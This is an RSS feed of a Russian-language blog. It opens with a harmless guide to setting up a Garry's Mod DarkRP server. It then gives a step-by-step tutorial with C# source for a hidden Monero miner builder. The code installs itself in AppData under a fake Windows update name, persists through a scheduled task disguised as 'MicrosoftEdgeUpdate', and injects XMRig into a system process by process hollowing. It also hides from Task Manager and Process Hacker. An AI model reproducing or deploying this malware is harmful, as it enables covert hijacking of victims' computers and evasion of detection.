<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>VoLVeR</title><generator>teletype.in</generator><description><![CDATA[VoLVeR]]></description><image><url>https://img3.teletype.in/files/a7/d4/a7d48f61-6da5-47f4-8dd0-025837888a7f.png</url><title>VoLVeR</title><link>https://teletype.in/@volver</link></image><link>https://teletype.in/@volver?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=volver</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/volver?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/volver?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Thu, 14 May 2026 00:42:36 GMT</pubDate><lastBuildDate>Thu, 14 May 2026 00:42:36 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@volver/QdUaPWQjQ4N</guid><link>https://teletype.in/@volver/QdUaPWQjQ4N?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=volver</link><comments>https://teletype.in/@volver/QdUaPWQjQ4N?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=volver#comments</comments><dc:creator>volver</dc:creator><title>Как поставить сборку на свой сервер в Garry’s Mod</title><pubDate>Mon, 31 Oct 2022 21:16:39 GMT</pubDate><description><![CDATA[<img src="https://img2.teletype.in/files/95/1a/951a2f60-be62-450b-b1bf-7d463f51c90d.png"></img>Возможно это сейчас не так актуально как мне кажется, но все же подобный туториал может кому то помочь. ]]></description><content:encoded><![CDATA[
  <p id="vxpv">Возможно это сейчас не так актуально как мне кажется, но все же подобный туториал может кому то помочь. </p>
  <p id="xE0V"></p>
  <p id="FLkH">И так скачаем для примера мою сборку GramikRP, которую я делал для своего проекта. Скачать её можно в моем телеграмм канале: <a href="https://t.me/VolVeRFM/32" target="_blank">https://t.me/VolVeRFM/32</a> </p>
  <figure id="wcgy" class="m_column">
    <img src="https://img2.teletype.in/files/95/1a/951a2f60-be62-450b-b1bf-7d463f51c90d.png" width="1918" />
  </figure>
  <p id="H45y">После распаковки архива, видим куча непонятных папок, это все аддоны. Их нам нужно перекинуть в нашу с вами папку под названием addons. данная папка лежит по пути в garrysmod. Заходим в неё и перекидываем, с FTP если же хостинг, все делаем тоже самое.</p>
  <p id="J0nn">После нам нужно установить режим для этой сборки (DarkRP). Его можно достать где угодно, написав в поиске DarkRP и скачать релиз <a href="https://github.com/FPtje/DarkRP" target="_blank">https://github.com/FPtje/DarkRP</a> FPtje</p>
  <p id="ngZG">Дальше перекидываем папку DarkRP-master в gamemodes, она находится также в папке garrysmod. И переименовываем DarkRP-master в darkrp, и ставим режим darkrp. </p>
  <p id="0hGE">Дальше дабы избежать неприятных error, нам нужно установить content:  <a href="https://steamcommunity.com/sharedfiles/filedetails/?id=2344830606" target="_blank">https://steamcommunity.com/sharedfiles/filedetails/?id=2344830606</a>  ID коллекции +host_workshop_collection <a href="https://steamcommunity.com/sharedfiles/filedetails/?id=2344830606" target="_blank">2344830606 </a>Так же убедитесь что бы все id данных аддонов были прописаны в darkrpmodification\lua\autorun\server\workshop.lua</p>
  <figure id="r1O1" class="m_column">
    <img src="https://img1.teletype.in/files/c3/4c/c34c61d2-2e10-4925-a7d8-852e552b6756.png" width="978" />
  </figure>
  <figure id="tY2R" class="m_original">
    <img src="https://img2.teletype.in/files/56/1b/561b95a2-d31d-45bd-80ca-17fb3d877fa5.png" width="642" />
  </figure>
  <p id="5B86">Далее нам нужен css контент, скачать его можно тут: <a href="https://drive.google.com/file/d/1id2lwYm7rzkrzGnRIhmlUyoSF634jz9Q/view" target="_blank">https://drive.google.com/file/d/1id2lwYm7rzkrzGnRIhmlUyoSF634jz9Q/view</a>  Делаем все точно так же, и перекидываем его в папку addons.</p>
  <p id="b24w"><a href="https://www.youtube.com/watch?v=5xdEGPPUdBc" target="_blank">https://www.youtube.com/watch?v=5xdEGPPUdBc</a>  (Туториал)</p>
  <p id="JBMz">Почти все готово, что бы повысить рейтинг серверу нам нужно: </p>
  <p id="aPzS">Токен можно указать в разделе &quot;Настройки&quot; в параметре &quot;Токен&quot;<br />Для того чтобы создать токен, вам нужно:<br />1.Перейти на данную страницу: <a href="https://steamcommunity.com/dev/" target="_blank">https://steamcommunity.com/dev/</a>2.Указать в поле &quot;Номер приложения&quot; 4000 - это номер игры Garry&#x27;s Mod<br />3.Указать примечание (по желанию)<br />4.Нажать кнопку &quot;Создать&quot;<br />После того как вы создадите токен укажите его в в разделе &quot;Настройки&quot; в параметре &quot;Токен&quot; и сохраните изменения.<br />После сохранения выполните перезапуск сервера.</p>
  <p id="9bBD">И вписать его в токен после чего у вас будет рейтинг на сервере</p>
  <figure id="vlFl" class="m_original">
    <img src="https://sun9-19.userapi.com/impg/fJORROf58lAVnnehVLZolfDuwiWk34mEesrG2Q/u-LDV4ih9yU.jpg?size=128x100&quality=96&sign=59639337fb6add1aaff11027b2ae752c&type=album" width="128" />
  </figure>
  <p id="wrMJ"><strong><em>Для отображение страны вашего сервера</em></strong></p>
  <p id="TrTU">Для отображения флага вам необходимо добавить в конфиг вашего сервера &quot;/garrysmod/cfg/gmodserver.cfg&quot; параметр sv_location &quot;ru&quot; (будет установлен Российский флаг).</p>
  <p id="NvNd"><em>Теперь можно запускать. </em></p>
  <figure id="w1yZ" class="m_column">
    <img src="https://img2.teletype.in/files/58/f8/58f86555-2368-402b-aa7a-758d199d3056.png" width="1919" />
  </figure>
  <figure id="xKHT" class="m_column">
    <img src="https://img1.teletype.in/files/48/d3/48d3975e-72ff-4708-ad84-88d5d6eedfcb.png" width="1919" />
  </figure>
  <p id="0zXF">Все мои сборки, в том числе и новые я скидываю в свой телеграмм канал : <a href="https://t.me/VolVeRFM" target="_blank">https://t.me/VolVeRFM</a></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@volver/VolVeRMINER</guid><link>https://teletype.in/@volver/VolVeRMINER?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=volver</link><comments>https://teletype.in/@volver/VolVeRMINER?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=volver#comments</comments><dc:creator>volver</dc:creator><title>Свой скрытый miner - builder на C#</title><pubDate>Thu, 21 Apr 2022 08:35:50 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/fb/9d/fb9d77d9-0ca5-4cf8-8caf-785d0f2fce28.png"></media:content><description><![CDATA[<img src="https://img3.teletype.in/files/a1/eb/a1ebd841-ba9d-40a0-b886-805ce64f4aa7.png"></img>https://t.me/VolVeRFM]]></description><content:encoded><![CDATA[
  <p id="jFjL"><a href="https://t.me/VolVeRFM" target="_blank">https://t.me/VolVeRFM</a></p>
  <p id="CEI1"></p>
  <p id="wyb3">Привет всем!</p>
  <p id="oAte">Сегодня покажу вам один из вариантов написание своего майнера, сделанного в билдер</p>
  <p id="Yd11">Создаем проект C#, Консольное приложение (.NET Framework), выбираем платформу .NET Framework 4.6</p>
  <p id="FGqL"></p>
  <figure id="bCek" class="m_column">
    <img src="https://img3.teletype.in/files/a1/eb/a1ebd841-ba9d-40a0-b886-805ce64f4aa7.png" width="720" />
  </figure>
  <p id="vLq9">Создаем, и первым делом пропишем установку нашего майнера, для этого я предпочитаю создать новый класс</p>
  <figure id="kB2h" class="m_column">
    <img src="https://telegra.ph/file/cabfdfa49c7379fb16fef.png" width="923" />
  </figure>
  <p id="4TXI">После можно назвать его <em><strong>Installer</strong></em>, для удобства.</p>
  <p id="Bl7w"><strong>Code C#</strong></p>
  <p id="Ilai"><code>public FileInfo FileName = new FileInfo(&quot;winupdater.exe&quot;); // Задаем имя         нашего майнера</code></p>
  <p id="p4Ii"><code>public DirectoryInfo DirectoryName = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), &quot;Windows&quot;)); // Задаем путь в appdata</code><br /><br />Дальше создаем <strong>void</strong>, который будет создавать  саму папку </p>
  <p id="SUKw"><code>public void IsInstalled()<br />{<br />Path.Combine(DirectoryName.FullName, FileName.Name); // Полный путь, с именем в папке <br />}</code></p>
  <p id="eN6C"><code>        public void CreateDirectory()<br />        {<br />            if (DirectoryName.Exists) // Делаем проверку <br />                return;<br />            DirectoryName.Create(); // Создаем <br />        }</code></p>
  <p id="5Pcs"></p>
  <p id="W1R4">Дальше создаем ещё один void с созданием  файла в папке, это будет наш майнер, который считываем содержимое файла в виде массива байтов, и публикуем, все то что в содержимом файле.</p>
  <p id="hIsq"><code>public void InstallFile()<br />        {<br />   string path = Path.Combine(DirectoryName.FullName, FileName.Name);<br />     if (FileName.Exists) // Опять проверяем <br />            {<br />                foreach (Process process in Process.GetProcesses())<br />                {<br />                    try<br />                    {<br />                        if (process.MainModule.FileName == path)<br />                            process.Kill(); // Если есть процес, то убиваем<br />                    }<br />                    catch<br />                    {<br />                    }<br />                }<br />                File.Delete(path);// Если есть папка, удаляем<br />                Thread.Sleep(280); // Задержка<br />            }<br /> using (FileStream fileStream = new FileStream(path, FileMode.Create, FileAccess.Write))<br />            {<br /> byte[] buffer = File.ReadAllBytes(Application.ExecutablePath); // Считываем содержимое файла в виде массива байтов<br />fileStream.Write(buffer, 0, buffer.Length); // И публикуем, все то что в содержимом файле<br />            }<br />        }</code></p>
  <p id="c8AA"></p>
  <p id="qaeM">И запуск)</p>
  <p id="wb5q"><code>        public void Run()<br />        {<br />            try<br />            {<br />                IsInstalled();<br />                CreateDirectory();<br />                InstallFile();<br />            }<br />            catch<br />            {<br />            }<br />        }</code></p>
  <figure id="U5Ue" class="m_retina">
    <img src="https://img2.teletype.in/files/57/ab/57abedf8-4943-41ac-838a-b0e1512dbe6d.png" width="555" />
  </figure>
  <p id="REZj">Дальше идем в <strong>Program </strong>и в <strong>Main  </strong>пишем следующий код</p>
  <p id="vesI"><code> try<br /> {<br />   new Installer().Run();<br /> }<br /> catch (Exception ex)<br /> {<br /> }</code></p>
  <p id="AK2T">Дальше прыгаем в планировщик задач</p>
  <p id="wERI"><code>string FileName = &quot;winupdater.exe&quot;; // Название процесса </code></p>
  <p id="vafl"><code>string folder = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), &quot;Windows&quot;); // Путь в appdata</code></p>
  <p id="sLzP"></p>
  <p id="IwVi"><code>  try<br />  {<br />   var startInfo = new ProcessStartInfo // Идем в планировщик задач<br />   {<br />    FileName = &quot;schtasks.exe&quot;,<br />    CreateNoWindow = false,<br />    WindowStyle = ProcessWindowStyle.Hidden, // Скрываем<br /> Arguments = @&quot;/create /sc MINUTE /mo 3 /tn &quot;&quot;MicrosoftEdgeUpdate&quot;&quot; /tr &quot;&quot;&quot; + folder + &quot;\\&quot; + FileName + @&quot;&quot;&quot; /f&quot; // Задаем аргументы<br />   };<br />    Process.Start(startInfo); // Запускаем<br />   }<br />  catch { }</code></p>
  <p id="yzCr"></p>
  <p id="3nJ9">Дальше делаем обозначения </p>
  <p id="EX4i"> <code>const string pool = &quot;pool.hashvault.pro:80&quot;; // Наши значения в строке pool<br /> const string moneroUsage = &quot;25&quot;; <br /> const string moneroWallet = &quot;&quot;; // Наши значения в строке moneroWallet<br /></code></p>
  <p id="fZcS"><code>byte[] xmr = Resources.xmrig;</code></p>
  <p id="qhW7"><code> <br />string args2 = &quot;--algo rx/0 --donate-level 0   --max-cpu-usage &quot; + moneroUsage + &quot; -o&quot; + pool + &quot; -u &quot; + moneroWallet; // Добавим аргументов<br /></code></p>
  <p id="ZEDL"><code>string withoutExtension1 = Path.GetFileNameWithoutExtension(&quot;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe&quot;); // Путь для запуска</code><br /></p>
  <p id="vMyT"><code>Дальше добавим лист</code></p>
  <p id="3fNr"><code>List&lt;string&gt; stringList = new List&lt;string&gt;(); // Создаем лист процессов при которых будет останавливаться <br />                stringList.Add(&quot;mmc&quot;);<br />                stringList.Add(&quot;ProcessHacker&quot;);<br />                stringList.Add(&quot;Taskmgr&quot;);<br />                stringList.Add(&quot;Диспетчер задач&quot;);</code></p>
  <p id="SDOy"><code>   try<br />   {</code></p>
  <p id="v73h"><code>  foreach (string processName in stringList)<br />   {<br /> for (Process[] processesByName = Process.GetProcessesByName(processName); processesByName.Length != 0; processesByName =  Process.GetProcessesByName(processName))<br />   {<br />foreach (Process process in Process.GetProcessesByName(withoutExtension1))<br />   {<br />       try<br />       {<br />        process.Kill();  <br />        }<br />         catch<br />        {<br />        }<br />        }</code></p>
  <p id="SG2A"><code>        }<br />        }</code></p>
  <p id="Z5eq"><code>        }</code></p>
  <p id="Qi74"><code>      catch { }</code></p>
  <p id="Es6j">Дальше делаем запуск майнера </p>
  <p id="lumW"><code> try<br />  {<br />   if (Process.GetProcessesByName(withoutExtension1).Length == 0)<br />Program.PE.Run(xmr,&quot;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngentask.exe&quot;, args2); // Запускаем                                                                                                                     <br />  }<br />  catch { }</code></p>
  <p id="GYyy"></p>
  <p id="QzDg">Дальше в <strong>классе Program</strong>, вставляем код</p>
  <p id="jJRG"> <code>public static class PE<br />        {<br />            [DllImport(&quot;kernel32.dll&quot;)]<br />            private static extern unsafe bool CreateProcess(<br />              string lpApplicationName,<br />              string lpCommandLine,<br />              IntPtr lpProcessAttributes,<br />              IntPtr lpThreadAttributes,<br />              bool bInheritHandles,<br />              uint dwCreationFlags,<br />              IntPtr lpEnvironment,<br />              string lpCurrentDirectory,<br />              Program.PE.StartupInfo* lpStartupInfo,<br />              byte[] lpProcessInfo);</code></p>
  <p id="KsQ8"><code>            [DllImport(&quot;kernel32.dll&quot;)]<br />            private static extern long VirtualAllocEx(<br />              long hProcess,<br />              long lpAddress,<br />              long dwSize,<br />              uint flAllocationType,<br />              uint flProtect);</code></p>
  <p id="szGD"><code>            [DllImport(&quot;kernel32.dll&quot;)]<br />            private static extern long WriteProcessMemory(<br />              long hProcess,<br />              long lpBaseAddress,<br />              byte[] lpBuffer,<br />              int nSize,<br />              long written);</code></p>
  <p id="piXx"><code>            [DllImport(&quot;ntdll.dll&quot;)]<br />            private static extern uint ZwUnmapViewOfSection(long ProcessHandle, long BaseAddress);</code></p>
  <p id="sZkK"><code>            [DllImport(&quot;kernel32.dll&quot;)]<br />            private static extern bool SetThreadContext(long hThread, IntPtr lpContext);</code></p>
  <p id="hoeW"><code>            [DllImport(&quot;kernel32.dll&quot;)]<br />            private static extern bool GetThreadContext(long hThread, IntPtr lpContext);</code></p>
  <p id="SrU0"><code>            [DllImport(&quot;kernel32.dll&quot;)]<br />            private static extern uint ResumeThread(long hThread);</code></p>
  <p id="ypXA"><code><br />            [DllImport(&quot;kernel32.dll&quot;)]<br />            private static extern bool CloseHandle(long handle);</code></p>
  <p id="A4uX"><code>            public static unsafe void Run(byte[] payloadBuffer, string host, string args)<br />            {<br />       int num1 = Marshal.ReadInt32((object)payloadBuffer, 60);<br />       int num2 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 56);<br />       int nSize = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 60);<br />       int num3 = Marshal.ReadInt32((object)payloadBuffer, num1 + 24 + 16);<br />       short num4 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 2);<br />       short num5 = Marshal.ReadInt16((object)payloadBuffer, num1 + 4 + 16);<br />       long num6 = Marshal.ReadInt64((object)payloadBuffer, num1 + 24 + 24);<br />       Program.PE.StartupInfo startupInfo = new Program.PE.StartupInfo();<br />startupInfo.cb = (uint)Marshal.SizeOf&lt;Program.PE.StartupInfo&gt;(startupInfo);<br />                startupInfo.wShowWindow = (ushort)0;<br />                startupInfo.dwFlags = 1U;<br />                byte[] lpProcessInfo = new byte[24];<br />                IntPtr num7 = Marshal.AllocHGlobal(1232 / 16);<br />                string lpCommandLine = host;<br />                if (!string.IsNullOrEmpty(args))<br />                    lpCommandLine = lpCommandLine + &quot; &quot; + args;<br />                string currentDirectory = Directory.GetCurrentDirectory();<br />                Marshal.WriteInt32(num7, 48, 1048603);<br /> Program.PE.CreateProcess((string)null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, true, 4U, IntPtr.Zero, currentDirectory, &amp;startupInfo, lpProcessInfo);<br />                long num8 = Marshal.ReadInt64((object)lpProcessInfo, 0);<br />                long num9 = Marshal.ReadInt64((object)lpProcessInfo, 8);<br />                int num10 = (int)Program.PE.ZwUnmapViewOfSection(num8, num6);<br />                Program.PE.VirtualAllocEx(num8, num6, (long)num2, 12288U, 64U);<br />                Program.PE.WriteProcessMemory(num8, num6, payloadBuffer, nSize, 0L);<br />                for (short index = 0; (int)index &lt; (int)num4; ++index)<br />                {<br />                    byte[] numArray = new byte[40];<br />                    Buffer.BlockCopy((Array)payloadBuffer, num1 + (24 + (int)num5) + 40 * (int)index, (Array)numArray, 0, 40);<br />                    int num11 = Marshal.ReadInt32((object)numArray, 12);<br />                    int length = Marshal.ReadInt32((object)numArray, 16);<br />                    int srcOffset = Marshal.ReadInt32((object)numArray, 20);<br />                    byte[] lpBuffer = new byte[length];<br />                    Buffer.BlockCopy((Array)payloadBuffer, srcOffset, (Array)lpBuffer, 0, lpBuffer.Length);<br />                    Program.PE.WriteProcessMemory(num8, num6 + (long)num11, lpBuffer, lpBuffer.Length, 0L);<br />                }<br />                Program.PE.GetThreadContext(num9, num7);<br />                byte[] bytes = BitConverter.GetBytes(num6);<br />                long num12 = Marshal.ReadInt64(num7, 136);<br />                Program.PE.WriteProcessMemory(num8, num12 + 16L, bytes, 8, 0L);<br />                Marshal.WriteInt64(num7, 128, num6 + (long)num3);<br />                Program.PE.SetThreadContext(num9, num7);<br />                int num13 = (int)Program.PE.ResumeThread(num9);<br />                Marshal.FreeHGlobal(num7);<br />                Program.PE.CloseHandle(num8);<br />                Program.PE.CloseHandle(num9);<br />            }</code></p>
  <p id="IFvk"><code>            [StructLayout(LayoutKind.Explicit, Size = 104)]<br />            public struct StartupInfo<br />            {<br />                [FieldOffset(0)]<br />                public uint cb;<br />                [FieldOffset(60)]<br />                public uint dwFlags;<br />                [FieldOffset(64)]<br />                public ushort wShowWindow;<br />            }<br />        }</code></p>
  <figure id="olJG" class="m_retina">
    <img src="https://img2.teletype.in/files/9a/14/9a141d2c-a799-4ab1-ae6c-6ca74ee978f3.png" width="514" />
  </figure>
  <p id="Yq72"></p>
  <p id="lALI">Дальше для удобства создаем builder</p>
  <figure id="5PEJ" class="m_column">
    <img src="https://img4.teletype.in/files/b7/fb/b7fbf78d-49a3-42c3-a7ee-ea349ba428cf.png" width="881" />
  </figure>
  <p id="Kn6J">Создаем и накидываем пару <strong>textBox </strong>для кошелька и пула, и <strong>button </strong>для создания build. Получаем вот такую картину </p>
  <figure id="p9zG" class="m_column">
    <img src="https://img2.teletype.in/files/50/43/50436833-5347-4e6d-a361-71aecd7c0bf4.png" width="732" />
  </figure>
  <p id="aOD6">Дальше делаем значение <strong>button1_Click</strong></p>
  <p id="pU5L"><code> CompilerParameters Params = new CompilerParameters();<br />  Params.GenerateExecutable = true;<br />  Params.ReferencedAssemblies.Add(&quot;System.dll&quot;); //Добавлем линк в исходный файл на System.dll <br />  Params.ReferencedAssemblies.Add(&quot;System.Windows.Forms.dll&quot;); //Тоже самое но на System.Windwos.Forms.dlle<br />  Params.ReferencedAssemblies.Add(&quot;System.Management.dll&quot;);<br />  Params.ReferencedAssemblies.Add(&quot;System.Core.dll&quot;);<br />  Params.CompilerOptions = &quot;/unsafe&quot;;<br />  Params.CompilerOptions += &quot;\n/t:winexe&quot;; //Убираем cmd окно путём объявления программы Windows приложением<br />  Params.OutputAssembly = &quot;Build.exe&quot;; //Имя исходного файла</code></p>
  <p id="Gm9h"></p>
  <p id="K1U2">Дальше кидаем в ресурсы наш код, и xmrig </p>
  <figure id="kXxL" class="m_column">
    <img src="https://img2.teletype.in/files/d2/7d/d27dbf62-c316-4e7b-a351-9df0cc8eb993.png" width="783" />
  </figure>
  <p id="cS7R">Дальше опять прописываем в <strong>button1_Click</strong></p>
  <p id="TWyY"><code>  string resource = Properties.Resources.Program;<br />  string resource2 = Properties.Resources.Installer;<br />  string resource3 = Properties.Resources.Resources_Designer;</code></p>
  <p id="BfF3"></p>
  <p id="JyaQ">Добавляем <strong>xmrig </strong>в ресурсы, для нашего компилятора</p>
  <p id="DpBY"></p>
  <p id="ahy8"> <code>string resxPath2 = &quot;VolVeRFMR.Properties.Resources&quot;; </code></p>
  <p id="Ct5a"></p>
  <p id="AsRF"><code>using (var v = new ResourceWriter(Path.GetTempPath() + @&quot;\&quot; + resxPath2 + &quot;.resources&quot;))</code></p>
  <p id="lKOQ"><code>{<br />v.AddResource(&quot;xmrig&quot;, Properties.Resources.xmrig); // Кидаем xmrig в ресурсы </code></p>
  <p id="ixc1"><code>}</code></p>
  <p id="BAss"><code>Params.EmbeddedResources.Add(System.IO.Path.GetTempPath() + @&quot;\&quot; + resxPath2 + &quot;.resources&quot;);</code></p>
  <p id="ua9L"></p>
  <p id="1LYb">Дальше заменяем значения для textbox </p>
  <p id="yAFs"><code>resource = resource.Replace(&quot;*MASSEGE*&quot;, textBox1.Text); // Заменяем значения для MASSEGE <br />resource = resource.Replace(&quot;*MASSEGE2*&quot;, textBox2.Text); // Заменяем значения для MASSEGE2</code></p>
  <p id="nA2B">Идем в <strong>Program </strong></p>
  <p id="uPPu">и заменяем там так </p>
  <p id="SdVm"><code>const string pool = &quot;*MASSEGE2*&quot;; // Наши значения в строке pool</code></p>
  <p id="6s0c"><code>const string moneroWallet = &quot;*MASSEGE*&quot;; // Наши значения в строке moneroWallet</code></p>
  <p id="hikI">И дальше дописываем  <strong>button1_Click</strong></p>
  <p id="ZtWH">  <code>var settings = new Dictionary&lt;string, string&gt;();<br />settings.Add(&quot;CompilerVersion&quot;, &quot;v4.0&quot;); //Указываем версию framework-a 2.0</code></p>
  <p id="LXn8"><code>CompilerResults Results = new CSharpCodeProvider(settings).CompileAssemblyFromSource(Params, resource, resource2, resource3);</code></p>
  <p id="R83i"><code>if (Results.Errors.Count &gt; 0)<br /> {</code></p>
  <p id="ltvy"><code>foreach (CompilerError err in Results.Errors)<br />MessageBox.Show(err.ToString()); //Выводим циклом ошибки, если они есть<br />  }<br />  else<br />  {<br />  MessageBox.Show(&quot;Готово, файл появится в том же месте где и программа :)&quot;); //Выводим сообщение что всё прошло успешно<br />  }</code></p>
  <figure id="K14r" class="m_retina">
    <img src="https://img1.teletype.in/files/cd/23/cd23ad6a-e504-4439-afa1-cb4371c4f971.png" width="555.5" />
  </figure>
  <p id="GavO">После этого делаем ресурсы, опять идем в <strong>Program,  </strong>и заменяем </p>
  <p id="8z2J"><code>byte[] xmr = VolVeRFMR.Properties.Resources.xmrig; </code></p>
  <p id="wvVP">Обязательно посмотрите как именно называется ваш namespace</p>
  <figure id="DYzO" class="m_column">
    <img src="https://img2.teletype.in/files/df/93/df9335af-3e2e-4b10-a645-aa2921ba5ce5.png" width="352" />
  </figure>
  <p id="akj6">И в <strong>Program </strong>пишем: <code>using VolVeRFMR.Properties;</code></p>
  <p id="PuIu">Запускаем, вводим значение и нажимаем Build, и если все работает </p>
  <figure id="kgtM" class="m_column">
    <img src="https://img3.teletype.in/files/61/c1/61c150a2-ff29-4607-9560-a616b7bc1dd0.png" width="348" />
  </figure>
  <p id="dJtd">Кому надо уже готовый: <a href="https://github.com/VolVeRFM/CPU-Miner-Builder" target="_blank">https://github.com/VolVeRFM/CPU-Miner-Builder</a></p>

]]></content:encoded></item></channel></rss>